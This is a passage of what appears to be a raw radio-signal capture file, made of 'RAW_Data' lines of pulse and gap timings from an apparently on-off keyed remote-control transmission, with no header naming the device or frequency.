-1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 3395 -3002 1795 -1398 3401 -3002 3403 -1396 1791 -3000 3401 -7590 1961 -2458 3749 -2762 3575 -2990 3395 -2998 3393 -2994 3407 -2998 3393 -2994 3407 -2998 3397 -2998 3393 -3002 3395 -3002 3407 -2996 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1402 1799 -3002 3395 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 3393 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3403 -2994 1799 -1402 3407 -2996 3395 -1400 1795 -1394 1797 -3002 3603 -200 1143 -188 1487 -1226 1827 -2996 3419 -3010 3401 -3002 3401 -3004 3401 -2994 3401 -3002 3399 -3006 3393 -2994 3401 -2996 3401 -3002 3399 -2996 3395 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -2992 3401 -3002 1801 -1402 1799 -1402 1801 -1396 1791 -1398 3403 -3002 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 3407 -2996 1797 -1394 3397 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -6446 2633 -2932 3363 -3180 -RAW_Data: 3189 -3190 3395 -2994 3393 -3002 3393 -3004 3393 -3002 3393 -3002 3403 -3002 3393 -3002 3395 -3002 3405 -2998 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1795 -1402 1801 -1400 3401 -2996 3401 -1400 1801 -3002 3393 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -3002 3399 -3004 1795 -1396 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3401 -2996 1799 -1402 3401 -1398 1791 -2998 1801 -1402 1799 -1402 1799 -1402 4405 -2974 1981 -3218 3193 -3160 3241 -3164 3313 -3118 3309 -3084 3243 -3026 3413 -3002 3407 -3010 3409 -3002 3399 -2996 3391 -2994 3401 -2994 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -3002 1801 -1400 1801 -1396 1791 -1400 3401 -3002 3401 -1402 1799 -2996 3401 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3401 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 3407 -2998 1795 -1394 3389 -1402 1801 -3002 1799 -1402 1801 -1400 3401 -3596 385 -560 373 -2330 8379 -2512 3729 -2750 3565 -2984 3385 -2990 3395 -3002 3393 -3002 3393 -3004 3401 -2998 3405 -2994 3395 -2994 3401 -3002 3403 -1400 1795 -1394 1793 -1398 1799 -1402 1799 -1402 1801 -3002 1799 -1402 1801 -1396 1791 -1398 3407 -3006 3393 -1402 1795 -2998 3403 -2994 1801 -1400 1801 -1396 1797 -1400 1801 -1402 3401 -1396 1793 -1398 1799 -3002 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 -RAW_Data: 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 1799 -1402 3407 -1400 1789 -2990 1799 -1402 3401 -3002 3609 -3274 2973 -2884 3537 -2960 3375 -2986 3389 -2996 3393 -2994 3393 -3002 3403 -3002 3401 -2994 3407 -2998 3393 -2994 3401 -3004 3393 -3002 3393 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 3393 -3002 3403 -1400 1795 -2992 3401 -3002 1801 -1402 1795 -1398 1801 -1400 3401 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 3401 -3002 1797 -1398 3401 -1396 1797 -3002 1801 -1400 3403 -1396 1791 -3800 205 -3344 203 -612 2395 -2560 3555 -2896 3655 -2830 3419 -3014 3407 -3004 3393 -3004 3401 -2994 3401 -2994 3395 -3002 3401 -3002 3395 -3002 3401 -2998 3397 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -3004 1799 -1402 1799 -1398 1791 -1398 3403 -3002 3401 -1400 1801 -3002 3395 -3002 1799 -1398 1791 -1398 1801 -1400 3407 -3006 1795 -1394 3389 -3002 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 3407 -2998 1795 -1394 3397 -1402 1799 -3002 3395 -3002 1795 -1398 4003 -4020 1655 -3022 3323 -3148 3163 -3176 3385 -2990 3393 -2996 3401 -3002 3401 -2994 -RAW_Data: 3395 -3002 3401 -3002 3395 -3002 3401 -2994 3393 -3004 3401 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3401 -2994 3401 -1402 1799 -3004 3397 -3006 1795 -1394 1791 -1400 1799 -1402 3401 -3002 3401 -2996 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 3401 -3002 1801 -1400 3407 -1400 1789 -2990 3407 -3004 3395 -8162 1623 -2776 3591 -2998 3389 -3000 3397 -2994 3393 -3002 3395 -3002 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -3002 1799 -1398 1797 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -3000 3401 -3002 1801 -1400 1795 -1394 1797 -1402 3405 -3006 3393 -1402 1799 -2996 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 3403 -3002 1799 -1398 3389 -1402 1801 -3002 3401 -1396 1793 -2998 3403 -1030 647 -3066 1817 -2644 3739 -2768 3575 -2986 3389 -2994 3395 -3002 3393 -3002 3399 -3006 3393 -2994 3401 -3004 3393 -3002 3393 -3002 3395 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3407 -3004 3399 -1404 1793 -2986 3401 -3002 1797 -1394 1795 -1402 1801 -1400 3407 -1404 1795 -2992 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 -RAW_Data: 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 3407 -3004 1795 -1394 3391 -1404 1801 -2994 3403 -1400 1795 -1394 1797 -6646 2743 -2920 3547 -2968 3181 -3190 3391 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -3004 3393 -3002 3393 -3002 3403 -2994 3401 -3002 3393 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -3006 1799 -1394 1791 -1398 1801 -1400 3403 -3002 3401 -1398 1791 -2998 3403 -3002 1795 -1398 1801 -1400 1801 -1400 3407 -1400 1791 -2996 3405 -2994 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -3002 1799 -1402 3401 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 3595 -1062 1325 -884 2861 -2628 3677 -2784 3481 -2744 3683 -2912 3513 -2916 3333 -3156 3175 -3182 3191 -3190 3393 -2994 3403 -2994 3401 -3002 3393 -3004 3393 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 3405 -2998 3393 -1402 1795 -2992 3401 -3002 1801 -1400 1795 -1398 1801 -1402 3401 -1396 1793 -1398 1799 -3004 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 3401 -3002 1801 -1396 3389 -1402 1801 -1400 1801 -3002 1801 -1396 3391 -6068 219 -1318 1767 -2830 3479 -2936 3489 -2910 3509 -2922 3341 -3162 3175 -3186 3391 -2994 3393 -2998 3407 -2994 3393 -3002 3393 -3004 3401 -3002 3401 -1398 1791 -1394 -RAW_Data: 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3407 -1400 1789 -2990 3401 -3004 1799 -1402 1799 -1402 1795 -1394 3397 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -3002 1797 -1398 3401 -1396 1797 -1402 1799 -3002 3403 -2994 4221 -2588 2113 -3134 3299 -3086 3259 -3026 3409 -3002 3407 -3006 3397 -3006 3393 -3002 3395 -3002 3393 -3002 3407 -2998 3393 -3002 3393 -3004 3401 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3401 -1402 1795 -2992 3401 -3002 1801 -1396 1797 -1402 3401 -3002 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 3401 -3006 1795 -1394 3391 -1400 1801 -1400 1801 -3002 3393 -1402 1801 -3802 207 -2344 219 -1326 1669 -2836 3513 -3130 3147 -3176 3181 -3186 3391 -2994 3393 -3002 3395 -3002 3401 -2994 3401 -3004 3393 -3002 3399 -3004 3395 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3002 3403 -1396 1791 -3000 3407 -3004 1797 -1394 1791 -1398 3401 -3002 1801 -1400 1797 -1394 3397 -3002 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 -RAW_Data: 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 3401 -2998 1805 -1396 3391 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 3607 -4140 2069 -2820 3359 -2938 3533 -2914 3513 -2916 3337 -3160 3173 -3184 3393 -2998 3389 -2996 3393 -3002 3393 -3002 3403 -2994 3401 -3002 3395 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -3002 1799 -1398 1797 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -2998 3403 -3002 1799 -1402 1801 -1396 3391 -3002 1799 -1402 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 3399 -3002 1799 -1402 3401 -1402 1795 -1394 1797 -1400 1801 -3002 3401 -7030 2161 -3078 3391 -2994 3389 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3403 -2994 3393 -3002 3403 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -3006 1799 -1394 1791 -1398 1801 -1400 3403 -2994 3401 -1402 1799 -2994 3403 -3002 1799 -1398 1791 -1398 3403 -3002 1799 -1402 3401 -1398 1791 -2998 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 1799 -1402 3393 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -3002 3795 -3692 2201 -2812 3459 -2876 3485 -3104 3309 -2934 3359 -3176 3181 -3190 3395 -2994 3393 -3006 3399 -2994 3401 -2994 3407 -3006 3389 -2994 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -3002 1801 -1398 1791 -1398 -RAW_Data: 1801 -1400 3401 -3004 3393 -1400 1801 -3002 3399 -3006 1795 -1394 1797 -1400 3401 -2994 3403 -2994 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3004 1799 -1402 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -3394 399 -3496 2327 -2200 3995 -2554 3791 -2544 3685 -2710 3691 -2920 3333 -3156 3373 -2984 3391 -2996 3389 -2996 3401 -2994 3401 -2996 3405 -3002 3397 -1398 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1801 -1398 1791 -1398 1801 -1400 3401 -3002 3395 -1400 1801 -3002 3401 -2996 1795 -1398 1799 -1402 3401 -2994 3403 -3002 3393 -3002 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -3002 3403 -3002 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3593 -4356 1945 -2932 3435 -3014 3415 -3004 3401 -3004 3393 -3002 3401 -2994 3407 -3006 3393 -2994 3395 -3002 3401 -3002 3399 -3004 3395 -2994 3407 -1400 1789 -1392 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3407 -3004 3395 -1396 1793 -2998 3401 -3004 1799 -1398 1791 -1398 3401 -3002 3403 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 -RAW_Data: 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3002 3407 -3006 1795 -1394 1791 -1398 1801 -1400 1801 -1402 3401 -4768 389 -390 193 -2086 1793 -2908 3435 -3014 3409 -3002 3407 -3006 3401 -3002 3393 -2996 3401 -3002 3407 -2996 3395 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3395 -1400 1797 -2998 3401 -3004 1799 -1398 1791 -1398 3401 -3002 3403 -1396 1797 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 